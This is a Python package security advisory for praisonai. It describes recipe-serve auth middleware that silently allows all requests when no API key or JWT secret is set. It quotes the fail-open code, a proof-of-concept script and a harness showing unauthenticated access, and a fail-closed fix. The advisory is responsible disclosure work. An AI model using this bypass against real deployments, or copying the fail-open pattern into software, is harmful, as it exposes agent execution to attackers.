PYSEC-2026-3513

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Import Source
https://github.com/pypa/advisory-database/blob/main/vulns/praisonai/PYSEC-2026-3513.yaml
JSON Data
https://api.osv.dev/v1/vulns/PYSEC-2026-3513
Aliases
Published
2026-07-23T11:41:41.568824Z
Modified
2026-07-23T15:00:17.210354575Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
praisonai: recipe serve auth middleware silently disables itself when no secret is set
Details

praisonai: recipe serve authentication middleware silently disables itself when no secret is set

Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research Target: https://github.com/MervinPraison/PraisonAI


Package: praisonai on PyPI Version tested: 4.6.48. File: praisonai/recipe/serve.py (sha256 491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23).


TL;DR

praisonai/recipe/serve.py:312-410 defines two auth middlewares (APIKeyAuthMiddleware, JWTAuthMiddleware). Both contain the same "fail open when the secret is unset" branch at the top of their dispatch:

async def dispatch(self, request, call_next):
    if request.url.path == "/health":
        return await call_next(request)
    expected_key = api_key or os.environ.get("PRAISONAI_API_KEY")
    if not expected_key:
        # No key configured, allow request
        return await call_next(request)
    ...
async def dispatch(self, request, call_next):
    if request.url.path == "/health":
        return await call_next(request)
    secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET")
    if not secret:
        return await call_next(request)
    ...

The realistic mis-deploy:

  1. operator sets auth: api-key (or auth: jwt) in their recipe YAML, expecting that line alone to enable auth,
  2. operator does not set the corresponding api_key: / jwt_secret: value in the same YAML, AND
  3. operator does not export PRAISONAI_API_KEY / PRAISONAI_JWT_SECRET in the environment.

The middleware silently treats every request as authenticated and forwards it to the recipe-execution route.

Combined with the praisonai jobs API having zero auth (a separate finding), operators who paid attention to "I have to set auth: api-key to lock this down" still don't get auth on the recipe-serve surface unless they also remember the secret.

Root cause

   Expected behavior, after setting `auth: api-key` in the recipe YAML:
     "Now my recipe endpoints require an X-API-Key header."

   Actual behavior (serve.py:325-333):
     - middleware reads `expected_key = api_key or
       os.environ.get("PRAISONAI_API_KEY")`
     - if `expected_key` is None (neither YAML nor env supplied
       one), middleware logs nothing and forwards the request.
     - operator's recipe routes accept the request as if it were
       authenticated.  request.state.user is unset.

   Impact:
     The middleware's documented job is "validate the API key
     against the configured value".  The configured-value-is-None
     case is exactly the case the middleware should fail closed
     on — operator has signalled they want auth.  Failing open
     silently turns a documented authentication into a runtime
     no-op.

Empirical verification

poc/poc.py:

  1. Imports the installed praisonai 4.6.48 praisonai.recipe.serve module (sha256 491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23).
  2. Clears PRAISONAI_API_KEY / PRAISONAI_JWT_SECRET env vars to simulate the mis-deploy.
  3. Calls serve.create_auth_middleware('api-key', api_key=None, jwt_secret=None) and instantiates the returned middleware.
  4. Builds a Starlette Request for /runs (the recipe-execution path) with empty headers — no X-API-Key, no Authorization.
  5. await middleware.dispatch(request, fake_call_next) returns the sentinel 'REACHED-DOWNSTREAM (path=/runs)' from the fake call_next — proving the middleware passed the request through without authenticating.
  6. Repeats the test for auth_type='jwt' — same bypass on the JWT path.

Run log (poc/run-log.txt) summary:

[2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env
    middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)'
[3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env
    middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)'
    APIKeyAuthMiddleware allowed the request through without an API key.
    JWTAuthMiddleware allowed the request through without a Bearer token.
[4] grep '# No key configured, allow request' -> line 333

VERDICT: VULNERABLE
EXIT 0

Impact

The recipe-serve surface runs agentic workflows — same execution posture as praisonai/jobs/server.py but separately configured / separately reached. Unauth access on this surface yields:

  • Trigger arbitrary recipe executions, passing attacker-controlled inputs and configurations.
  • Read the inputs / outputs of in-flight recipes — the operator's prompts and the LLM responses.
  • In some deployments, the recipe execution surface is wired to tools (browser automation, file-system writes, code execution). Reaching those tools without auth is a direct RCE path.

Anchors

  • praisonai/recipe/serve.py:325-333APIKeyAuthMiddleware.dispatch silent-bypass branch.
  • praisonai/recipe/serve.py:352-355JWTAuthMiddleware.dispatch silent-bypass branch.
  • praisonai/recipe/serve.py:688-694 — call site:
    auth_type = config.get("auth")
    if auth_type and auth_type != "none":
        auth_middleware = create_auth_middleware(
            auth_type,
            api_key=config.get("api_key"),
            jwt_secret=config.get("jwt_secret"),
        )
    

Suggested fix

When the operator has signalled "I want auth", refuse to start without the corresponding secret rather than silently degrading:

def create_auth_middleware(auth_type, api_key=None, jwt_secret=None):
    if auth_type == 'api-key':
        expected_key = api_key or os.environ.get("PRAISONAI_API_KEY")
        if not expected_key:
            raise SystemExit(
                "auth_type='api-key' requested but no API key is "
                "configured.  Either set `api_key:` in your recipe "
                "YAML or export PRAISONAI_API_KEY.  Refusing to "
                "start with a silently disabled auth middleware."
            )
        ...
    elif auth_type == 'jwt':
        secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET")
        if not secret:
            raise SystemExit(
                "auth_type='jwt' requested but no JWT secret is "
                "configured.  Either set `jwt_secret:` in your recipe "
                "YAML or export PRAISONAI_JWT_SECRET.  Refusing to "
                "start with a silently disabled auth middleware."
            )
        ...

This is the same pattern the sibling praisonai.gateway server applies in assert_external_bind_safe at praisonai/gateway/auth.py:48-54 — refuse-to-start on external bind without an auth token. The recipe-serve surface should do the same.

Steps to reproduce

  1. Clone the target: git clone --depth 1 https://github.com/MervinPraison/PraisonAI
  2. Run the proof of concept (poc.py) against the cloned source.
  3. Observe the result shown under Verified result below.

Proof of concept

poc.py

"""
PoC: praisonai 4.6.48 `praisonai recipe serve` configures
authentication via a `auth:` field in the recipe YAML.  Setting
`auth: api-key` or `auth: jwt` installs APIKeyAuthMiddleware or
JWTAuthMiddleware on the FastAPI app — and the operator's expectation
is that those endpoints now require a valid API key / Bearer JWT.

In reality, both middlewares contain an early-return that silently
bypasses authentication when the corresponding secret has not been
configured (neither via the recipe YAML nor via the
PRAISONAI_API_KEY / PRAISONAI_JWT_SECRET env var).
"""

import hashlib
import inspect
import os
import sys

def main() -> int:
    print('=' * 72)
    print('praisonai 4.6.48 — recipe serve auth middleware silent bypass')
    print('=' * 72)

    # Realistic deploy: operator sets `auth: api-key` in YAML but
    # forgets to set api_key / env var.
    for env_var in ('PRAISONAI_API_KEY', 'PRAISONAI_JWT_SECRET'):
        if env_var in os.environ:
            del os.environ[env_var]

    from praisonai.recipe import serve as serve_mod

    src = inspect.getsourcefile(serve_mod)
    with open(src, 'rb') as f:
        raw = f.read()
    sha = hashlib.sha256(raw).hexdigest()

    print()
    print(f'[1] serve.py path : {src}')
    print(f'    sha256        : {sha}')

    from starlette.requests import Request
    create_auth_middleware = serve_mod.create_auth_middleware

    async def fake_call_next(request):
        return f"REACHED-DOWNSTREAM (path={request.url.path})"

    async def driver(auth_type: str, headers=None):
        scope = {
            'type': 'http', 'method': 'GET', 'path': '/runs',
            'headers': headers or [], 'query_string': b'', 'scheme': 'http',
            'server': ('127.0.0.1', 8000), 'app': None, 'root_path': '',
        }
        request = Request(scope, receive=lambda: None)
        mw_cls = create_auth_middleware(auth_type, api_key=None, jwt_secret=None)
        if mw_cls is None:
            return 'middleware-import-failed'
        instance = mw_cls(app=None)
        return await instance.dispatch(request, fake_call_next)

    import asyncio

    print()
    print("[2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env")
    result_apikey = asyncio.run(driver('api-key'))
    print(f"    middleware.dispatch -> {result_apikey!r}")

    print()
    print("[3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env")
    result_jwt = asyncio.run(driver('jwt'))
    print(f"    middleware.dispatch -> {result_jwt!r}")

    vulnerable = False
    if isinstance(result_apikey, str) and 'REACHED-DOWNSTREAM' in result_apikey:
        vulnerable = True
        print('    APIKeyAuthMiddleware allowed the request through without an API key.')
    if isinstance(result_jwt, str) and 'REACHED-DOWNSTREAM' in result_jwt:
        vulnerable = True
        print('    JWTAuthMiddleware allowed the request through without a Bearer token.')

    # Static check that the bypass is on the code path.
    text = raw.decode('utf-8', errors='replace')
    needle_api = '# No key configured, allow request'
    apikey_line = next(
        (i for i, l in enumerate(text.splitlines(), 1) if needle_api in l),
        None,
    )
    print()
    print('[4] static cross-check — bypass branch on the code path')
    print(f"    grep '{needle_api}' -> line {apikey_line}")

    if not vulnerable:
        print('UNEXPECTED — the dispatch did not return the bypass result.')
        return 1

    print()
    print('VULNERABLE: praisonai 4.6.48 `recipe serve` AuthMiddleware classes')
    print('            both silently bypass auth when the operator sets auth_type')
    print('            but forgets the corresponding secret — unauthenticated access')
    print('            to recipe execution endpoints.')
    print('VERDICT: VULNERABLE')
    return 0

if __name__ == '__main__':
    sys.exit(main())

Verification harness (executed against the cloned repo)

This drives the unmodified upstream code rather than a reproduction.

import sys, types, os, importlib.util
BK=os.path.abspath("repos/PraisonAI/src/praisonai"); sys.path.insert(0,BK)
for p in ["praisonai","praisonai.recipe"]:
    m=types.ModuleType(p); m.__path__=[BK+"/"+p.replace(".","/")]; sys.modules[p]=m
spec=importlib.util.spec_from_file_location("praisonai.recipe.serve", BK+"/praisonai/recipe/serve.py")
serve=importlib.util.module_from_spec(spec); serve.__package__="praisonai.recipe"; sys.modules[spec.name]=serve; spec.loader.exec_module(serve)
print("[*] Loaded REAL praisonai recipe/serve.py")
os.environ.pop("PRAISONAI_API_KEY", None)   # operator forgot to export it too

from starlette.applications import Starlette
from starlette.routing import Route
from starlette.responses import PlainTextResponse
from starlette.testclient import TestClient
def make_app(mw):
    app=Starlette(routes=[Route("/run", lambda r: PlainTextResponse("AGENT EXECUTED"), methods=["POST"])])
    app.add_middleware(mw); return TestClient(app)

# (A) operator set `auth: api-key` but forgot api_key + env -> REAL factory returns middleware that SILENTLY bypasses
MW_bypass = serve.create_auth_middleware("api-key", api_key=None)        # REAL factory
r = make_app(MW_bypass).post("/run")
print(f"[+] auth='api-key', NO key configured, NO header -> HTTP {r.status_code} body={r.text!r}")

# (B) control: same middleware WITH a key configured -> unauthenticated request is correctly 401
MW_enforced = serve.create_auth_middleware("api-key", api_key="real-secret")
r2 = make_app(MW_enforced).post("/run")
print(f"[*] auth='api-key', key CONFIGURED, NO header  -> HTTP {r2.status_code} (correctly rejected)")

assert r.status_code==200 and "AGENT EXECUTED" in r.text and r2.status_code==401
print("[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated")

Verified result

This PoC was executed against the live upstream code; captured output:

[*] Loaded REAL praisonai recipe/serve.py
[+] auth='api-key', NO key configured, NO header -> HTTP 200 body='AGENT EXECUTED'
[*] auth='api-key', key CONFIGURED, NO header  -> HTTP 401 (correctly rejected)
[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated

Credit

Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.

References

Affected packages

PyPI / praisonai

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
4.6.59

Affected versions

0.*
0.0.1
0.0.2
0.0.3
0.0.4
0.0.5
0.0.6
0.0.7
0.0.8
0.0.9
0.0.10
0.0.11
0.0.12
0.0.13
0.0.14
0.0.15
0.0.16
0.0.17
0.0.18
0.0.19
0.0.20
0.0.21
0.0.22
0.0.23
0.0.24
0.0.25
0.0.26
0.0.27
0.0.28
0.0.29
0.0.30
0.0.31
0.0.32
0.0.33
0.0.34
0.0.35
0.0.36
0.0.37
0.0.38
0.0.39
0.0.40
0.0.41
0.0.42
0.0.43
0.0.44
0.0.45
0.0.46
0.0.47
0.0.48
0.0.49
0.0.50
0.0.52
0.0.53
0.0.54
0.0.55
0.0.56
0.0.57
0.0.58
0.0.59rc2
0.0.59rc3
0.0.59rc5
0.0.59rc6
0.0.59rc7
0.0.59rc8
0.0.59rc9
0.0.59rc11
0.0.59
0.0.61
0.0.64
0.0.65
0.0.66
0.0.67
0.0.68
0.0.69
0.0.70
0.0.71
0.0.72
0.0.73
0.0.74
0.1.0
0.1.1
0.1.2
0.1.3
0.1.4
0.1.5
0.1.6
0.1.7
0.1.8
0.1.9
0.1.10
1.*
1.0.0
1.0.1
1.0.2
1.0.3
1.0.4
1.0.5
1.0.6
1.0.8
1.0.9
1.0.10
1.0.11
2.*
2.0.0
2.0.1
2.0.2
2.0.3
2.0.5
2.0.6
2.0.7
2.0.8
2.0.9
2.0.10
2.0.11
2.0.12
2.0.13
2.0.14
2.0.15
2.0.16
2.0.17
2.0.18
2.0.19
2.0.20
2.0.22
2.0.23
2.0.24
2.0.25
2.0.26
2.0.27
2.0.28
2.0.29
2.0.30
2.0.31
2.0.32
2.0.33
2.0.34
2.0.35
2.0.36
2.0.37
2.0.38
2.0.39
2.0.40
2.0.41
2.0.42
2.0.43
2.0.44
2.0.45
2.0.46
2.0.47
2.0.48
2.0.49
2.0.50
2.0.51
2.0.53
2.0.54
2.0.55
2.0.56
2.0.57
2.0.58
2.0.59
2.0.60
2.0.61
2.0.62
2.0.63
2.0.64
2.0.65
2.0.66
2.0.67
2.0.68
2.0.69
2.0.70
2.0.71
2.0.72
2.0.73
2.0.74
2.0.75
2.0.76
2.0.77
2.0.78
2.0.79
2.0.80
2.0.81
2.1.0
2.1.1
2.1.4
2.1.5
2.1.6
2.2.1
2.2.2
2.2.3
2.2.4
2.2.5
2.2.6
2.2.7
2.2.8
2.2.9
2.2.10
2.2.11
2.2.12
2.2.13
2.2.14
2.2.15
2.2.16
2.2.17
2.2.18
2.2.19
2.2.20
2.2.21
2.2.22
2.2.24
2.2.25
2.2.26
2.2.27
2.2.28
2.2.29
2.2.30
2.2.31
2.2.32
2.2.33
2.2.34
2.2.35
2.2.36
2.2.37
2.2.38
2.2.39
2.2.40
2.2.41
2.2.42
2.2.43
2.2.44
2.2.45
2.2.46
2.2.47
2.2.48
2.2.49
2.2.50
2.2.51
2.2.52
2.2.53
2.2.54
2.2.55
2.2.56
2.2.57
2.2.58
2.2.59
2.2.60
2.2.61
2.2.62
2.2.63
2.2.64
2.2.65
2.2.66
2.2.67
2.2.68
2.2.69
2.2.70
2.2.71
2.2.72
2.2.73
2.2.74
2.2.75
2.2.76
2.2.77
2.2.78
2.2.79
2.2.80
2.2.81
2.2.82
2.2.83
2.2.84
2.2.86
2.2.87
2.2.88
2.2.89
2.2.90
2.2.91
2.2.93
2.2.95
2.2.96
2.2.97
2.2.98
2.2.99
2.3.0
2.3.1
2.3.2
2.3.3
2.3.4
2.3.5
2.3.6
2.3.7
2.3.8
2.3.9
2.3.10
2.3.11
2.3.12
2.3.13
2.3.14
2.3.15
2.3.16
2.3.18
2.3.19
2.3.20
2.3.21
2.3.22
2.3.23
2.3.24
2.3.25
2.3.26
2.3.27
2.3.28
2.3.29
2.3.30
2.3.31
2.3.32
2.3.33
2.3.34
2.3.35
2.3.36
2.3.37
2.3.38
2.3.39
2.3.40
2.3.41
2.3.42
2.3.43
2.3.44
2.3.45
2.3.46
2.3.47
2.3.48
2.3.49
2.3.50
2.3.51
2.3.52
2.3.53
2.3.54
2.3.55
2.3.56
2.3.57
2.3.58
2.3.59
2.3.60
2.3.61
2.3.62
2.3.63
2.3.64
2.3.65
2.3.66
2.3.67
2.3.68
2.3.69
2.3.70
2.3.71
2.3.72
2.3.73
2.3.74
2.3.75
2.3.76
2.3.77
2.3.78
2.3.79
2.3.80
2.3.81
2.3.82
2.3.83
2.3.84
2.3.85
2.3.86
2.3.87
2.4.0
2.4.1
2.4.2
2.4.3
2.4.4
2.5.0
2.5.1
2.5.2
2.5.3
2.5.4
2.5.5
2.5.6
2.5.7
2.6.0
2.6.1
2.6.2
2.6.3
2.6.4
2.6.5
2.6.6
2.6.7
2.6.8
2.7.0
2.8.3
2.8.4
2.8.5
2.8.6
2.8.7
2.8.8
2.8.9
2.9.0
2.9.1
2.9.2
3.*
3.0.0
3.0.1
3.0.2
3.0.3
3.0.4
3.0.5
3.0.6
3.0.7
3.0.8
3.0.9
3.1.0
3.1.1
3.1.2
3.1.3
3.1.4
3.1.5
3.1.6
3.1.7
3.1.8
3.1.9
3.2.0
3.2.1
3.3.0
3.3.1
3.4.0
3.4.1
3.5.0
3.5.1
3.5.2
3.5.3
3.5.4
3.5.5
3.5.6
3.5.7
3.5.8
3.5.9
3.6.0
3.6.1
3.6.2
3.7.0
3.7.1
3.7.2
3.7.3
3.7.4
3.7.5
3.7.6
3.7.7
3.7.8
3.7.9
3.8.0
3.8.1
3.8.2
3.8.3
3.8.4
3.8.5
3.8.6
3.8.7
3.8.8
3.8.9
3.8.10
3.8.11
3.8.12
3.8.13
3.8.14
3.8.16
3.8.17
3.8.18
3.8.19
3.8.20
3.8.21
3.8.22
3.9.0
3.9.1
3.9.2
3.9.3
3.9.4
3.9.5
3.9.6
3.9.7
3.9.8
3.9.9
3.9.10
3.9.11
3.9.12
3.9.13
3.9.14
3.9.15
3.9.16
3.9.17
3.9.18
3.9.19
3.9.20
3.9.21
3.9.22
3.9.23
3.9.24
3.9.25
3.9.26
3.9.27
3.9.28
3.9.29
3.9.30
3.9.31
3.9.32
3.9.33
3.9.34
3.9.35
3.10.0
3.10.1
3.10.2
3.10.3
3.10.4
3.10.5
3.10.6
3.10.7
3.10.8
3.10.9
3.10.10
3.10.11
3.10.12
3.10.13
3.10.14
3.10.15
3.10.16
3.10.17
3.10.18
3.10.19
3.10.20
3.10.21
3.10.22
3.10.23
3.10.24
3.10.25
3.10.26
3.10.27
3.11.0
3.11.1
3.11.2
3.11.3
3.11.4
3.11.8
3.11.9
3.11.10
3.11.11
3.11.12
3.11.13
3.11.14
3.12.0
3.12.1
3.12.2
3.12.3
4.*
4.0.0
4.1.0
4.2.0
4.2.1
4.2.2
4.2.3
4.2.4
4.3.0
4.3.1
4.4.0
4.4.2
4.4.3
4.4.4
4.4.5
4.4.6
4.4.7
4.4.8
4.4.9
4.4.10
4.4.11
4.4.12
4.5.0
4.5.1
4.5.2
4.5.3
4.5.5
4.5.6
4.5.7
4.5.8
4.5.9
4.5.10
4.5.11
4.5.12
4.5.13
4.5.14
4.5.15
4.5.16
4.5.18
4.5.19
4.5.20
4.5.21
4.5.22
4.5.23
4.5.24
4.5.25
4.5.26
4.5.27
4.5.28
4.5.29
4.5.30
4.5.31
4.5.32
4.5.33
4.5.34
4.5.35
4.5.36
4.5.37
4.5.38
4.5.39
4.5.40
4.5.41
4.5.42
4.5.43
4.5.44
4.5.45
4.5.46
4.5.48
4.5.49
4.5.51
4.5.52
4.5.54
4.5.55
4.5.56
4.5.57
4.5.58
4.5.59
4.5.60
4.5.62
4.5.63
4.5.64
4.5.65
4.5.67
4.5.68
4.5.69
4.5.70
4.5.71
4.5.72
4.5.73
4.5.74
4.5.76
4.5.77
4.5.78
4.5.79
4.5.80
4.5.81
4.5.82
4.5.83
4.5.85
4.5.87
4.5.88
4.5.89
4.5.90
4.5.93
4.5.94
4.5.95
4.5.96
4.5.97
4.5.98
4.5.100
4.5.101
4.5.102
4.5.103
4.5.104
4.5.105
4.5.106
4.5.107
4.5.108
4.5.109
4.5.110
4.5.111
4.5.112
4.5.113
4.5.114
4.5.115
4.5.117
4.5.118
4.5.119
4.5.120
4.5.121
4.5.122
4.5.123
4.5.124
4.5.125
4.5.126
4.5.127
4.5.128
4.5.129
4.5.130
4.5.131
4.5.132
4.5.133
4.5.134
4.5.135
4.5.136
4.5.137
4.5.139
4.5.140
4.5.143
4.5.144
4.5.145
4.5.149
4.6.9
4.6.10
4.6.11
4.6.12
4.6.13
4.6.14
4.6.15
4.6.16
4.6.18
4.6.19
4.6.20
4.6.21
4.6.22
4.6.23
4.6.24
4.6.25
4.6.26
4.6.27
4.6.28
4.6.29
4.6.30
4.6.31
4.6.32
4.6.33
4.6.34
4.6.35
4.6.36
4.6.37
4.6.38
4.6.39
4.6.40
4.6.41
4.6.42
4.6.43
4.6.44
4.6.45
4.6.46
4.6.47
4.6.48
4.6.50
4.6.51
4.6.52
4.6.53
4.6.54
4.6.55
4.6.56
4.6.57
4.6.58

Database specific

source
"https://github.com/pypa/advisory-database/blob/main/vulns/praisonai/PYSEC-2026-3513.yaml"